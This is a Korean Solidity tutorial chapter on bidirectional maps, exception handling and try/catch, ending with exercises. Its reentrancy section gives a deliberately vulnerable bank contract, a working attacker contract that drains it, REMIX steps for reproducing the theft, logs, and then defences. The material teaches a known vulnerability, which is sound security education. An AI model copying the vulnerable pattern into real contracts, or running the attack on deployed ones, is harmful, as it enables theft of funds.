배열에서는 일반적으로 선형 검색을 수행해야 하므로 요소의 수가 많아질수록 검색 시간이 증가하지만, 양방향 맵에서는 키를 사용하여 매핑된 값에 바로 접근할 수 있으므로 검색 시간이 상수 시간에 가깝다. 이는 대량의 데이터인 경우에는 특히 중요한 차이를 보인다.

단 양방형 맵을 적용할 경우, 유일무이한 중복이 없어야 한다는 키의 특징은 반드시 지켜져야 한다. 방금 선언한 nameByAddress는 문제가 없어 보이지만, 주소에 해당하는 이름이 여럿 존재하면, addressByName은 복수 값이 허용되지 않아서, 예를 들어 "kim"이 여러 명이 있다면 당연히 첫 번째만 특정할 수 있고, 다음 이름을 찾지 못하게 된다.

## 실습: 양방향 회원

계정주소에 대해 회원 정보, 아이디와 이름을 저장하는 맵을 구현해보자.

아이디 또는 이름으로 역방향의 '주소'를 검색하는 기능은 **양방향 맵(bidiretional map)**으로 구현한다.

맵에 대해서 입력, 조회하는 다음 함수를 구현하자.

* addMember(아이디, 이름): 회원 정보를 입력하는 함수
* getMemberById(아이디): 아이디에 해당하는 회원정보를 조회하는 함수. 양방향 맵을 적용 하면, 반복문을 사용하지 않고 검색이 가능해 진다. 특정 아이에 해당하는 계정 주소를 찾고, 그 주소에 해당하는 값을 읽어올 수 있게 된다.
* getMemberAddressByName(이름): 이름에 대해 계정주소를 조회하는 함수
* getMember(계정주소): 주소에 해당하는 회원정보를 조회하는 함수

[파일명: src/MembersMap.sol]  
//SPDX-License-Identifier: GPL-3.0-or-later  
pragma solidity ^0.8.0;  
  
contract MembersMap {  
 struct Member {  
 uint id;  
 string name;  
 }  
 mapping(address=>Member) memberMap;  
 mapping(uint=>address) addressById;  
 mapping(string=>address) addressByName;  
 function addMember (uint \_id, string memory \_name) public {  
 Member memory m=Member(\_id, \_name);  
 memberMap[msg.sender]=m;  
 addressById[\_id]=msg.sender; //아이디에 해당하는 주소를 저장  
 addressByName[\_name]=msg.sender; //이름에 해당하는 주소를 저장  
 }  
 function getMemberById(uint \_id) view public returns(uint, string memory) {  
 //2단계 (1) id의 주소를 찾고, (2) 그 주소의 회원정보를 조회.  
 Member memory my = memberMap[addressById[\_id]];  
 return (my.id, my.name);  
 }  
 function getMemberAddressByName(string memory \_name) public view returns(address) {  
 return addressByName[\_name]; //이름에 해당하는 주소를 조회  
 }  
 function getMember(address addr) view public returns (uint, string memory) {  
 Member memory m=memberMap[addr];  
 return (m.id, m.name);  
 }  
}

REMIX에서 버튼을 눌러 가면서 기능을 올바르게 작동하는지 확인하는 것을 잊지 말자.

|  |  |
| --- | --- |
| 줄 | 설명 |
| 9 | 주소의 Member struct을 조회하는 map |
| 11 | 이름의 주소를 조회하는 map |
| 12~17 addMember() | Member struct을 입력하기 위해, 버튼 우측에 1, "jsl" 2, "홍길동" 등 몇 건을 적고 버튼을 눌러 저장한다 (한글도 잘 저장되고 있다). 입력하고 나서 getMemberByName() 함수에서 이름을 입력하고 주소를 조회해본다. name이 중복되는 경우, 엎어쓰기 때문에 문제가 될 수 있다. getMemberById() 함수도 id를 입력해서 회원정보를 조회해본다. |
| 18~22 getMemberById() | (1) addressById[아이디]를 하면 주소를 얻을 수 있다. (2) 그 주소를 이용 memberMap[주소]는 Member를 조회한다. 라는 값을 얻을 수 있다. 앞서 입력한 1이나 2를 적고 버튼을 눌러 회원정보가 조회되는지 확인한다. |
| 23~25 getMemberAddressByName() | 양방향 맵에서 name에 해당하는 주소를 조회한다. 앞서 입력한 영문 "jsl"이나 한글 "홍길동"을 적고 주소가 조회되는지 해보자. |
| 26~29 getMember() | 주소에 해당하는 Member struct을 조회. 자신의 주소를 적고 버튼을 눌러 회원정보가 조회되는지 확인한다. |

# 3. 예외

예외는 다음과 같은 상황에서 발생할 수 있다.

* **입출금 관련**: 잔고보다 더 많은 출금을 하거나, 가스 비용을 지불하지 못할 정도의 잔고가 부족하거나, 입금 주소가 유효하지 않거나, 잔액을 갱신하면서 로직이 오작동하는 등의 경우에 예외가 발생할 수 있다.
* **가스 부족**: 가스가 부족한 경우에는 트랜잭션이 실행되지 않고, 예외가 발생할 수 있다. 특히 어떤 거래가너무 많은 가스를 필요로 하는 경우에는 주의해야 한다.
* **오버플로 및 언더플로**: 정수 오버플로나 언더플로가 발생할 수 있습니다. 예를 들어, uint8 타입의 변수에 255를 더하는 경우 오버플로가 발생하여 변수의 값이 0으로 되돌아갈 수 있습니다.

컴파일 시점에 발생하는 오류, 예외는 수정하기 비교적 용이하다. 그러나 실행시점에 발생하는 예외는 잡아내기 어렵다.

실행 시점에 발생하는 예외는 배열이 범위를 넘어서거나, gas 한도를 초과하거나 (out-of-gas errors), 나누기 오류 (divide by zero)와 같은 상황에서 발생할 수 있다.

버전 0.4.10이후에는 throw구문은 더 이상 사용되지 않고, require, revert, assert 구문을 사용한다. 예외가 발생하면 실행이 중지되고, 상태 변수나 잔고가 원상 복구된다.

|  |  |  |  |
| --- | --- | --- | --- |
| 명령문 | gas 반환 | 원상복구 | 사용하는 경우 |
| require() | Yes | Yes | 사용자 입력 , 상태변수 값, 반환 값 등 조건을 검증하는 경우. 실패하면 중단되며, 다음으로 진행되지 않는다. |
| revert() | Yes | Yes | require()는 참, 거짓을 평가하지만, revert()는 조건문 없이 수행된다. revert되면 중단되며, 다음으로 진행되지 않는다. |
| assert() | No | Yes | overflow/underflow, invariants 등 어떤 오류가 발생하는 것을 예방하는 경우. 실패하면 중단되며, 다음으로 진행되지 않는다. |

## 3.1 require

require()문은 자주 쓰이는 명령문으로 실행한 결과를 true, false로 반환한다. false인 경우 예외가 발생하고 실행이 중지된다. 그러면서 미사용 gas를 호출자에게 반환하고 상태를 원래대로 복원한다.

오류가 발생할 수 있는 다음과 같은 경우, 보통 함수의 맨 앞에 require() 명령문을 적어준다.

* 송금이 되었는지 확인하는 경우 require(계정주소.transfer(금액))
* 조건이 충족되었는지 확인하는 경우 require(msg.sender == owner), require(msg.value == 금액), require(address(this).balance >= 금액)
* 함수의 진행에 필요한 사전조건을 확인하는 경우에 사용한다.

## 3.2 revert

revert() 문은 앞의 require() 함수와 달리 조건을 매개변수로 받지 않는다.

스스로 조건을 내걸고 참인지, 거짓인지 어떤 평가를 하지 않는다는 점이 다르고, 예외가 발생하는 이유를 설명하는 **문자열을 매개변수로 받을 수** 있다. 다만 다음과 같이 조건을 if문으로 걸어서 적용할 수 있다.

if (msg.sender != owner) { revert("You are not the owner"); }

revert() 함수는 주로 if/else 문과 함께 사용되어 예외를 발생시키는 형태로 사용되기 때문에 require()보다 복잡한 조건을 적용하여 평가하는 경우에 적용하면 효과적이다. revert() 함수는 require()와 비슷하게 실행을 중단하고 미사용 gas를 호출자에게 반환하며, 상태를 원래대로 복원한다.

## 3.3 assert

assert() 함수는 조건식을 매개 변수로 받으며(true 또는 false 값을 결과값으로 만들어내는 표현식), 내부 조건 또는 제약 조건이 충족되었는지 확인하는 경우에 사용된다. 주로 조건을 확인하는 디버깅 용도로 사용한다.

미사용 gas는 반환되지 않고, 모두 소모되지만, 상태는 원래대로 복원된다. require()와 달리 gas가 소모되기 때문에 주의해야 하며, 그래서 require에 비해 자주 사용되지 않는다.

* overflow/underflow assert(age > 20)
* 항상 충족해야 하는 조건 assert(msg.sender == owner), assert(address(this).balance >= 0)
* 함수가 끝나고 나서 사후조건을 확인하는 방식으로, 이때는 함수의 맨 뒤에 위치하면 된다.

0으로 나누지 못하는 것은 모두 알고 있다. 이런 경우의 오류를 require, revert, assert로 처리해보자. REMIX에서 작성하고, 버튼 테스트를 실행하면서 오류를 확인해보자. 예를 들어, n1=1, n2=0을 넣으면 당연히 오류가 발생이 된다. 출력 메시지는 한글로 작성되어서 앞에 unicode를 덧붙여 주고 있다.

[파일명: src/ExceptionTest.sol]  
//SPDX-License-Identifier: GPL-3.0-or-later  
pragma solidity ^0.8.0;  
  
contract ExceptionTest {  
 function divisionRequire(int \_n1, int \_n2) public pure returns (int) {  
 require(\_n2 != 0, unicode"0으로 나누지 못합니다"); //조건을 만족하지 못하면 오류 메시지 출력  
 return \_n1/\_n2;  
 }  
 function divisionRevert(int \_n1, int \_n2) public pure returns (int) {  
 if(\_n2 == 0) revert(unicode"0으로 나누지 못합니다"); //조건문의 조건에 따라 오류 메시지 출력  
 return \_n1/\_n2;  
 }  
 function divisionAssert(int \_n1, int \_n2) public pure returns (int) {  
 assert(\_n2 != 0); //조건을 만족하지 못하면 false. 내부적인 용도.  
 return \_n1/\_n2;  
 }  
}

## 3.4 try/catch

다른 언어에서 보통 제공되는 예외 처리 기능을 제공하는 try/catch 구문은 버전 0.6부터 제공되고 있다. 예외 처리 기능이란, 특정 예외가 발생했을 때 이를 처리하는 코드를 실행시켜서 예외 발생 때문에 프로그램이 멈추지 않고 실행될 수 있도록 만드는 것이다.

### try문에서 예외의 발생을 감지

try 구문에서 이 구문은 외부의 함수를 호출한다. 외부의 division()을 호출한다고 하면, try e.division(\_n1, \_n2) returns(int value) 이렇게 써준다. 다른 언어와 다르게 반환을 적어주고 있다.

try문에서 예외가 발생하면 catch에서 처리할 수 있다. division()에서 예외가 발생한다 해도 예외를 처리한다. 그렇다고 try/catch구문 자체에서 오류에 따라 원인을 무효화하지 않는다.

### catch에서 예외의 발생에 대한 조치

다음과 같이 try 구문에서 발생한 예외를 포착 catch할 수 있다.

* catch Error(string memory reason) { ... } : revert 또는 require를 통해 생성된 오류
* catch Panic(uint errorCode) { ... } : assert를 통해 생성된 오류 (예: 0으로 나누면 오류코드 0x12를 반환)
* catch(bytesmemoryLowLevelData) { ... } : 기계 수준의 오류
* catch {...}

[파일명: src/TryCatchTest.sol]  
//SPDX-License-Identifier: GPL-3.0-or-later  
pragma solidity ^0.8.0;  
  
contract Division {  
 function divide(int \_n1, int \_n2) pure public returns (int) {  
 return \_n1/\_n2;  
 }  
}  
  
contract TryCatchTest {  
 Division d = new Division();  
  
 event LogError(string);  
 event Log(int);  
  
 function divideCatch(int \_n1, int \_n2) public {  
 try d.divide(\_n1, \_n2) returns(int v) {  
 emit Log(v);  
 } catch {  
 emit LogError("Error");  
 }  
 }  
}

## 실습: 예외

전송자가 소유자인지 확인하기 위해, require, revert, assert를 사용해보자. 또한 try/catch 구문을 적용하여 0으로 나눌 경우에 발생하는 예외를 포착해보자.

[파일명: src/ExceptionTest.sol]  
//SPDX-License-Identifier: GPL-3.0-or-later  
pragma solidity ^0.8.0;  
  
contract ExceptionTest {  
 address owner;  
 constructor() {  
 owner=msg.sender;  
 }  
 function requireException() view public returns(string memory) {  
 require(msg.sender == owner, "Require failed. NO owner");  
 return "REQUIRED: You are the owner"; //require 조건 충족하면 실행  
 }  
 function assertException() view public returns(string memory) {  
 assert(msg.sender == owner);  
 return "Asserted"; //assert 조건 충족하면 실행  
 }  
 function revertException() view public returns(string memory) {  
 if(msg.sender != owner)  
 revert("Sorry! You are NOT owner. Reverted...");  
 else  
 return "NOT REVERTED: You are the owner";  
 }  
 function divisionRequire(int \_n1, int \_n2) pure public returns (int) {  
 require(\_n2 != 0, unicode"0으로 나누지 못합니다");  
 return \_n1/\_n2;  
 }  
 function division(int \_n1, int \_n2) pure public returns (int) {  
 return \_n1/\_n2;  
 }  
}  
  
contract TryCatchTest {  
 event LogError(string \_name, string \_err);  
 event LogPanic(string \_name, uint256 \_err);  
 event LogLowLevelError(string \_name, bytes \_err);  
  
 ExceptionTest private e = new ExceptionTest(); //동일한 파일에 포함된 컨트랙 객체 생성  
  
 function tryCatch(int \_n1, int \_n2) public returns(int value, bool success) {  
 try e.division(\_n1, \_n2) returns(int v) {  
 return (v, true);  
 } catch Error(string memory \_err) { //division함수의 require오류  
 emit LogError("Error of require/revert", \_err);  
 return (0, false); //null이 없어서 0을 반환.  
 } catch Panic(uint256 \_errCode) {  
 emit LogPanic("Panic of assert", \_errCode);  
 return (0, false);  
 } catch (bytes memory \_errCode) {  
 emit LogLowLevelError("Low Level Error", \_errCode);  
 return (0, false);  
 }  
 }  
 function tryCatchSimple(int \_n1, int \_n2) public returns(int value, bool success) {  
 try e.divisionRequire(\_n1, \_n2) returns(int v) {  
 return (v, true);  
 } catch {  
 emit LogError("Error", "Either Error, Panic or Low Level Error");  
 return (0, false);   
 }  
 }  
}

REMIX에서 코딩을 하고 나서, 먼저 ExceptionTest를 배포하고, 버튼을 하나씩 테스트해보자. 전송자와 owner가 동일한지 require, revert, assert로 확인하고 적절한 메시지를 출력하게 된다.

그리고 TryCatchTest를 배포하고, 버튼을 하나씩 테스트해보자.

* 1. tryCatch 함수를 실행하면 다음과 같은 로그가 출력된다. 즉 1/0은 divide by zero이므로 Panic이 출력되고, 오류코드는 18 (0x12)이다.

{  
 "event": "LogPanic",  
 "args": {  
 "\_name": "Panic of assert",  
 "\_err": "18"  
 }  
}

* 1. 반면에 tryCatchSimple을 실행하면 그냥 예외를 catch하게 된다. 앞서 division의 함수의 require가 실행되고 오류가 발생해도, 이를 구분하지 않는다.

"args": {  
 "\_name": "Error",  
 "\_err": "Either Error, Panic or Low Level Error"  
}

## 3.4 재진입 공격

재진입 공격(Reentrancy Attack)이란 컨트랙A가 컨트랙트 B로부터 자산을 출금하려는 과정에서, 출금이 완료되지 않은 상태에서 재진입(re-enter)하여 출금을 다시 시도하는 공격이다. 이로 인해 A는 B로부터 출금한 자산을 다시 출금할 수 있으며, 이를 통해 B의 잔고가 의도치 않게 감소하고 A는 불법적으로 자산을 획득할 수 있다.

아래 프로그램의 컨트랙 A(ttackReentrancy)가 B(ankAtRisk)로부터 출금 withdrawALl()하려는 과정에, 출금이 완성되기도 전에 receive() 또는 fallback() 함수에서 출금 withdrawAll()으로 재진입하여 출금을 재시도하는 경우가 해당된다. 그렇다면 어떤 결과가 나올까? 물론 손실이 발생하게 되고, 그래서 공격이라고 한다.

은행 컨트랙 B(ankAtRisk)를 보면, 입금은 일반적 기능과 다르지 않고, 송금액을 저금하게 된다.

B의 출금은 요청이 있으면 잔고 전액을 출금하고 0으로 만든다. 한 줄씩 설명하면:

* 줄2: 출금요청자의 잔고 전액을 출금하기 위해 그 금액을 \_amount에 저장한다.
* 줄3: 출금요청자에게 \_amount를 송금한다. 여기서 어떤 일이 일어나는지 생각해보자. .call 함수는 바로 A의 receive를 호출하게 된다. 곧 설명하겠지만 이 receive함수에는 withdrawAll()을 재호출하게 된다.
* 줄4: require() 함수를 적용하여 성공하는지 확인한다. 실패하면 메시지 출력한다.
* 줄5: 송금한 후 잔고를 전액 비운다.

줄1 function withdrawAll() public {  
줄2 uint \_amount = balances[msg.sender]; //잔고총액  
줄3 (bool success, ) = msg.sender.call{value: \_amount}(""); //잔고총액 송금  
줄4 require(success, "Failed to send"); //성공하는지 확인  
줄5 balances[msg.sender] = 0; //출금성공되었으니 잔고 0으로 만든다.  
줄6 }

위 함수를 호출하는 컨트랙 A(ttackReentrancy)의 함수들을 살펴보자. 아래 withdraw() 함수의 줄1에서 B의 객체를 선언하고, 그 객체를 이용해서 줄2에서 출금하고 있다. 여기까지는 위험한 공격이라고 할만한 호출이 없다.

줄1 BankAtRisk internal b;  
줄2 function withdraw() external payable {  
줄3 b.withdrawAll();  
줄4 }

앞서 배웠던, A의 receive() 함수를 보자. 여기서도 출금을 호출하고 있다.

줄1 receive() external payable {  
줄2 if (address(b).balance >= 1 ether) {  
줄3 b.withdrawAll();  
줄4 }  
줄5 }

지금까지 코드는 평범하고 위험스럽지 않아 보인다. 그렇다면 위험은 어디에서 발생할까? 위험은 출금을 완성하지 않은 상태에서, 앞서 설명하였듯이 의도적으로 receive가 실행되게끔 할 수 있다는 것이다.

그러면 어떻게 될까? 출금이 완성되지 않은 상태에서 receive로 출금되고, 그리고 최초의 출금이 완성되면 중복 출금, 즉 재진입 출금이 되는 것이다.

완성된 코드는 다음과 같다.

[파일명: src/AttackReentrancy.sol]  
//SPDX-License-Identifier: GPL-3.0-or-later  
pragma solidity ^0.8.0;  
  
contract BankAtRisk {  
 mapping(address => uint) private balanceOf;  
   
 bool internal locked = false; //인출 후 켬. 재인출 방지하기 위해.  
 event LogWithDraw(address, string);   
 function deposit() public payable {  
 balanceOf[msg.sender] += msg.value; //전송자의 잔고 증가  
 }  
 //function withdrawAll() public disableRentrancy {  
 function withdrawAll() public payable {  
 emit LogWithDraw(msg.sender, "Withdrawing from BankAtRisk");  
 uint \_balance = balanceOf[msg.sender]; //잔고총액  
 (bool success, ) = msg.sender.call{value: \_balance}(""); //잔고총액 전송  
 require(success, "Failed to send"); //성공하는지 확인. 실패하면 예외 발생.  
 balanceOf[msg.sender] = 0; //출금성공되었으니 잔고 0으로 갱신.  
 }  
 modifier disableRentrancy() {  
 require(!locked); //송금전 false인지 확인  
 locked = true; //송금 flag를 켬  
 \_;  
 locked = false; //송금하고 flag를 끔  
 }  
 function getBalance() view public returns(uint) {  
 return address(this).balance;  
 }  
 function getBalanceOf(address addr) public view returns (uint) {  
 return balanceOf[addr];  
 }  
}  
  
contract AttackReentrancy {  
 BankAtRisk private b;  
 event LogReceive(address, string);  
   
 constructor(address \_b) {  
 b = BankAtRisk(\_b);  
 }  
 receive() external payable {  
 emit LogReceive(address(b), "receiving in AttackRentrancy");  
 if (address(b).balance >= 1 ether) {  
 b.withdrawAll();  
 }  
 }  
 function withdraw() external payable {  
 require(msg.value >= 1 ether);  
 b.deposit{value: 1 ether}(); //b에게 입금  
 b.withdrawAll(); //입금액을 출금  
 }  
 function getBalance() view public returns(uint) {  
 return address(this).balance;  
 }  
}

REMIX에서 컴파일, 배포하면서 재진입공격을 재현해보자.

* 1. 배포 B.
  2. 배포 A. A의 생성자에 배포된 B의 주소를 복사해서 붙여넣어야 한다.
  3. B에 1 ether를 입금. value: 1 ether를 입력하고 deposit 버튼을 누르면 된다. 그리고 잔고를 확인하면 1 ether를 확인할 수 있다.
  4. A에게 출금을 요청한다. withdraw() 함수는 1 ether 입금하면서 호출되니까 value: 1 ether를 잊지말자.
  5. 그러면 잔고의 변화는 어떨까?
  + A의 잔고는 1을 예상. A -> B -> A 의 순서로 1 ether가 입출금되니 A는 1, B도 1이어야 맞다.
  + 그러나 실제는 A의 잔고는 2, B의 잔고는 0. 재진입공격으로 A는 1을 입금한 후 2가 되고, B는 1을 도둑질당함.

다음 로그를 살펴보면 어떻게 이런 결과가 나왔는지 쉽게 이해할 수 있다. 순서대로 따라가 보자. A의 입금 및 출금요청 ---> B의 출금 ---> A의 receive ---> B의 출금 ---> A의 receive ---> 잔고를 모두 빼가는 결과, 즉 A.receive()의 재진입으로 B의 잔고가 바닥날 때까지 빼가고 있다.

[  
 {  
 "from": "0x0498B7c793D7432Cd9dB27fb02fc9cfdBAfA1Fd3", A ---> B 요청  
 "topic": "0xcb9970832d6fe32c6cf686a473f18e908fe646618c03ce8359b01530bef442b4",  
 "event": "LogWithDraw", B에서 발생하는 이벤트  
 "args": {  
 "0": "0x38cB7800C3Fddb8dda074C1c650A155154924C73",  
 "1": "Withdrawing from BankAtRisk"  
 }  
 },  
 {  
 "from": "0x38cB7800C3Fddb8dda074C1c650A155154924C73", B ---> A 요청  
 "topic": "0xe492c1f45799f540f562fab13d55505a1745e00cd22168914c40c08b86e7db6d",  
 "event": "LogReceive", A에서 발생하는 이벤트  
 "args": {  
 "0": "0x0498B7c793D7432Cd9dB27fb02fc9cfdBAfA1Fd3",  
 "1": "receiving in AttackRentrancy"  
 }  
 },  
 {  
 "from": "0x0498B7c793D7432Cd9dB27fb02fc9cfdBAfA1Fd3", A ---> B 요청  
 "topic": "0xcb9970832d6fe32c6cf686a473f18e908fe646618c03ce8359b01530bef442b4",  
 "event": "LogWithDraw", B에서 발생하는 이벤트  
 "args": {  
 "0": "0x38cB7800C3Fddb8dda074C1c650A155154924C73",  
 "1": "Withdrawing from BankAtRisk"  
 }  
 },  
 {  
 "from": "0x38cB7800C3Fddb8dda074C1c650A155154924C73", B ---> A 요청  
 "topic": "0xe492c1f45799f540f562fab13d55505a1745e00cd22168914c40c08b86e7db6d",  
 "event": "LogReceive", A에서 발생하는 이벤트  
 "args": {  
 "0": "0x0498B7c793D7432Cd9dB27fb02fc9cfdBAfA1Fd3",  
 "1": "receiving in AttackRentrancy"  
 }  
 }

이런 재진입 공격을 막을 수 있는 몇 가지 방법이 있다.

* 1. 우선 잔고를 사전에 초기화 하면 된다.

이른바 Checks-Effects-Interactions 패턴을 적용하여 재진입공격을 무력화하는 것이다. 즉 송금이라는 실행 (Interactions) 이전에 잔고 차감을 적용한다 (Effects). 잔고 초기화를 나중에 하게 되면, 잔고가 남아 있어 재송금공격을 할 수 있기 때문이다. 공격자가 receive() 또는 fallback() 함수로 인출을 가능하게 코딩해 놓으면, 인출이 실패하더라도 인출 재시도가 가능하다. 아예 잔고를 0으로 만들어 놓으면 송금이 불가능해진다.

balanceOf[msg.sender] = 0; //출금하기 전 잔고 0으로 갱신.  
(bool success, ) = msg.sender.call{value: \_balance}(""); //잔고총액 전송

* 1. Flag를 사용

성공적으로 송금되면 flag를 false로 만들고, false일 경우에는 송금 시도가 아예 불가능하도록 한다. 아래 disableRentrancy() 함수를 참조하자.

* 1. gas limit

앞서 설명을 기억하자. send(), transfer()의 gas limit은 2,300으로 제한되어 있어서 이런 재진입 시도는 어렵다. 사용할 gas가 없으면 재진입시도가 아예 불가능해 진다. 반면에 call() 함수는 실제 사용 gas가 지급된다.

## 연습문제

1. 반복문에서 상태 변수를 수정하거나, 읽거나 gas는 동일하게 소비된다. OX로 답하시오.
2. 반복은 횟수가 증가할 수록 더 많은 gas를 필요로 한다. OX로 답하시오.
3. 문자열 "Hello"와 문자열 "olleH"를 비교해서 결과를 반환하는 compareTo() 함수를 작성하시오.
4. REMIX에서 가상머신 'Remix VM'을 선택하고 배포할 수 있다. 그리고 나서 그 컨트랙을 사설망에서 제공하는 http를 통해 접근할 수 있다. OX로 답하시오.
5. 이벤트가 포함된 컨트랙은 배포하지 않고도, REMIX에서 이벤트의 출력을 확인할 수 있는지 설명하시오.
6. 블록체인에 실행 중인 컨트랙을 배포하고 난 후 특별한 일이 생겨서 제거하고 싶다. 가능한지 답하시오.
7. 1~10 범위의 무작위 수를 생성하는 genRandomInteger() 함수를 작성하시오.
8. 블록체인에서는 무작위 수를 생성하기 위해서 seed가 없으면 어떤 영향이 있는지 설명하시오 seed를 생성하는 방법을 설명하시오.
9. 다음 코드에 오류가 있다면 지적하고 수정하시오.

* int[5] mathMarks;  
  mathMarks.push(100);

1. 다음은 동적 배열인지 아닌지 답하시오.

* string[] cities2 = new string[](2);

1. 다음 코드에 오류가 있다면 지적하고 수정하시오.

* uint16[5] balance = [255, 65536, 95, 50, 1];

1. 다음 코드에 오류가 있다면 지적하고 수정하시오.

contrat ArrayTest {  
 int[5] mathMarks;  
 function setMathMarks() public {  
 mathMarks = [100, 60, 95, 50, 80];  
 }  
}

1. 다음 함수에 컴파일 오류가 있는지 답하시오. 또한 실행 오류는 있는지 없는지 답하시오.

function setArr() pure public {  
 uint[] memory myArr;  
 myArr[0]=11;  
}

1. 다음 함수에서 num에 push() 할 수 있는지 답하시오.

function getDynamicArrMemory() pure public {  
 uint[] memory num = new uint[](3);  
 num.push(11);  
}

1. 아래 줄2의 mathMarks2는 상태변수이다. public으로 선언하지 않았기 때문에 직접 조회할 수 없다. 줄3의 getMathMarks() 함수에서 반환하려고 하는데, 오류가 있는지 설명하시오.

줄1 contrat ArrayTest2 {  
줄2 int[5] mathMarks; //storage 변수  
줄3 function getMathMarks() view public returns (int[5] memory) {  
줄4 return mathMarks;  
줄5 }  
줄6}

1. mathMarks 배열에 점수가 저장되어 있다고 하자. 아래 줄1의 getMathAbove70\_() 함수는 배열에서 일부를 선별하고 있다. 줄5의 조건문에서 70 이상을 선별하여 줄6에서 복사하고 있다. 아래에서 오류가 있는지 설명하고, 있다면 수정하시오.

줄1 function getMathAbove70\_() view public returns(int[] memory) {  
줄2 int[] memory mathAbove70;  
줄3 uint counter = 0;  
줄4 for(uint8 i=0;i<mathMarks.length;i++)  
줄5 if(mathMarks[i]>70) {  
줄6 mathAbove70[counter] = mathMarks[i];  
줄7 counter++;  
줄8 }  
줄9 return mathAbove70;  
줄10 }

1. 각 번호의 문법이 맞는지 틀리는지 OX로 답하시오.

function setLocalDynamicArr() view public returns(uint) {  
 (1) uint[] myArr;  
 (2) uint[] storage myArr;  
 (3) uint[] memory myArr;  
 (4) uint[] myArr = new uint[](3);  
 (5) uint[] storage myArr = new uint[](3);  
 (6) uint[] memory myArr = new uint[](3);  
 (7) myArr.push(11);  
 (8) myArr[0]=11;  
 (9) myArr[5]=15;  
 return myArr.length;  
}

1. 다음 setCities2()를 실행하고, getCities2()의 결과는 무엇인지 적어보시오.

contract ArrayTest2 {  
 string[] cities2 = new string[](2);  
 function setCities2() public {  
 cities2[0]="New York";  
 cities2.push("Bangkok");  
 string[] storage \_cities2 = cities2;  
 \_cities2.push("Kuala lumpur");  
 }  
 function getCities2() view public returns(string[] memory){  
 return cities2;  
 }  
}

1. 주소를 입력하면 잔고를 알려줄 수 있도록 변수명 balanceOf를 데이터 타입을 적용해서 선언해 보시오.
2. 아래 코드를 보자. 줄2는 계정주소의 회원정보를 매핑하는 memberMap이다. 회원의 계정주소를 입력하려고 할 때, 이미 존재하는 중복키일 경우 이를 알려주는 코드를 작성해 보시오. 아래 코드의 일부를 수정하시오.

줄1 mapping(address=>Member) memberMap;  
줄2 struct Member {  
줄3 uint id;  
줄4 string name;  
줄5 }

1. 다음 deposit() 함수를 보시오. 줄1의 amount의 금액을 입금하고 있다.

줄1 function deposit(uint amount) payable public {  
줄2 require(msg.value == amount);  
줄3 balanceOf[msg.sender] += amount;  
줄4 }

이 함수를 아래와 같이 amount를 제거하고 작성하면 입금이 되는지 설명하시오. 그리고 아래 줄2의 (1)을 채우시오.

줄1 function deposit() payable public {  
줄2 balanceOf[msg.sender] += (1);  
줄3 }

1. 맵은 키를 몰라도 삭제할 수 있다. OX로 답하시오.
2. '계정 주소'를 입력하면 '성명'을 출력하는 맵을 다음과 같이 선언한다고 하자.

mapping(address=>string) nameByAddress

이와 반대로 '성명'을 입력하면 '계정 주소'를 반환하기 위해서 양방향 맵을 선언해 보시오.

1. require(msg.sender == owner)를 revert문을 적용하여 변환해보시오.
2. 아래 줄7의 (1), 줄11의 (2), (3)을 완성하시오.

줄01 contract Division {  
줄02 function divide(int \_n1, int \_n2) pure public returns (int) {  
줄03 return \_n1/\_n2;  
줄04 }  
줄05 }  
  
줄06 contract TryCatchTest {  
줄07 Division d = (1);  
줄08 event LogError(string);  
줄09 event Log(int);  
줄10 function divideCatch(int \_n1, int \_n2) public {  
줄11 try (2) {  
줄12 emit (3);  
줄13 } catch {  
줄14 emit LogError("Error");  
줄15 }  
줄16 }  
줄17 }

1. 컨트랙 A와 B가 있다고 하자. 재진입 공격이란 A가 실행을 완성하고 나서 B가 A에 다시 진입해서 잔고를 빼가는 것을 말한다. OX로 답하시오.
2. 재진입 공격을 하기 위해서는 해킹하는 함수를 스스로 작성해야 한다. fallback 함수를 적용해서는 존재하지 않은 경우에만 호출되기 때문에 불가능하다. OX로 답하시오.
3. 컨트랙 Customer와 Order를 구현하시오.

Customer 컨트랙에 필요한 상태변수와 함수를 구성한다.

* 상태변수는:
  + 고객ID, 이름, 전화번호, 주소
  + 계정 주소에 대한 mapping
  + 그 외 필요하면 추가
* 고객 정보 입력 함수 addCustomer(uint \_id, string memory \_name, string memory \_ph, string memory \_home)
* 배송지 주소 조회 함수 getHomeAddress()
* 고객id 조회 함수 getId()

Order 컨트랙의 필요한 상태변수와 함수를 구성한다.

* 상태변수에는:
  + 주문ID, 상품명, 개수, 금액, 시간, 상태, 배송지
  + 계정 주소에 대한 mapping 등 그 외 필요하면 추가
* 주문 함수 placeOrder (uint \_id, string memory \_p, uint \_n, uint \_amount)
  + 주문을 받으면 상태는 "Ordered"로, 시간은 현재시간으로 설정한다.
  + 주문 금액은 컨트랙에게 입금이 필요하다.
  + bidirectional map을 설정하여, 주문ID를 통하여 주문자 주소키를 알 수 있도록 힌다.
* 고객 정보 입력 함수 addCustomer(uint \_id, string memory \_name, string memory \_ph, string memory \_home)는 Customer 컨트랙을 통해 설정한다. 직접 Customer에 입력할 수 있지만, 따로 배포해야 가능하고 번거로워서 Order에서 하기로 하자.
* 배송지 주소 조회 함수 getHomeAddress(). Customer 컨트랙을 통해 조회
* 주문처리 상황 조회 함수 getStatus() 주문처리 상황 조회 함수
* 주문처리 상황 갱신 함수 updateStatus(uint \_id, string memory \_s)
* 주문내역 출력 함수 getOrderItem(): 주문했던 고객의 계정에 해당하는 주문ID, 상품명, 상태, 배송지 출력
* 주문ID로 주문내역 조회 함수 getOrderById(uint \_id) : 주문ID를 입력하면 주문ID, 상품명, 상태, 배송지 출력
* 주문 개수 조회 함수 getNOrder()
* 주문 총액 조회 함수 getTotalOrderAmount()
* 컨트랙 잔고 확인 함수 queryBalance()
* 그 외 필요한 함수를 추가할 수 있다.

1. REMIX의 Customer 화면

Customer의 addCustomer, getHomeAddress, getId 등 기능 버튼 결과 보이도록 화면 생성.

1. REMIX의 Order 화면

Order 버튼 결과 모두 출력, 특히 placeOrder할 때, 오른쪽 단말창이 열려서 녹색 표시가 나오도록 화면 생성. REMIX에서 테스트하면서 콘솔 창에서 출력되는 필요한 gas를 확인하자.

1. 계정, 잔고, gas 출력

온라인 주문에서는 많은 주문자가 있을 수 있다는 점에서 계정1, 계정2, 계정3 사용한다. 계정이 없으면 3 개를 만들어 놓는다. 계정1, 계정2, 계정3과 각 잔고를 출력한다. 현재의 블록번호도 출력한다. Order 컨트랙 생성에 필요한 gas 출력. Order 컨트랙은 바이트코드량과 그 기능이 많아 배포하기 위해서는 gas가 상당히 필요하다.

1. 고객 정보 3건 입력

